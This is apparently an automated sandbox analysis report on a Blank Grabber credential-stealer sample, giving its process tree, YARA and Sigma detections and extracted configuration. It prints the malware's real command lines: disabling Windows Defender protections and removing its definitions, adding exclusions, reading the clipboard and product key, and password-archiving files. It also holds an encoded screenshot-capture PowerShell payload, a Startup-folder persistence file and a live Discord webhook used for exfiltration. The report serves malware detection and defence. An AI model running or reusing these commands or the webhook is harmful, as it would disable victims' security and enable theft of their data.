cmd.exe (PID: 8636 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8564 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 6044 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Configuration

Threatname: Blank Grabber

{"C2 url": "https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI72642\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.2096102942.000001C916489000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1701296843.00000162C4354000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2098275549.000001C916C2C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000003.1701296843.00000162C4352000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.2090937481.000001C917404000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: cmd.exe PID: 7264	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: cmd.exe PID: 7280	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: cmd.exe PID: 7280	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: cmd.exe PID: 7280	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\cmd.exe", ParentImage: C:\Users\user\Desktop\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'", ProcessId: 7332, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\cmd.exe", ParentImage: C:\Users\user\Desktop\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 7340, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\cmd.exe", ParentImage: C:\Users\user\Desktop\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe a -r -hp"blank" "C:\Users\user\AppData\Local\Temp\DBdXv.zip" *", ProcessId: 9148, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\cmd.exe, ProcessId: 7280, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bcdu5fii\bcdu5fii.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKA

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\cmd.exe", ParentImage: C:\Users\user\Desktop\cmd.exe, ParentProcessId: 7280, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard", ProcessId: 8076, ProcessName: cmd.exe

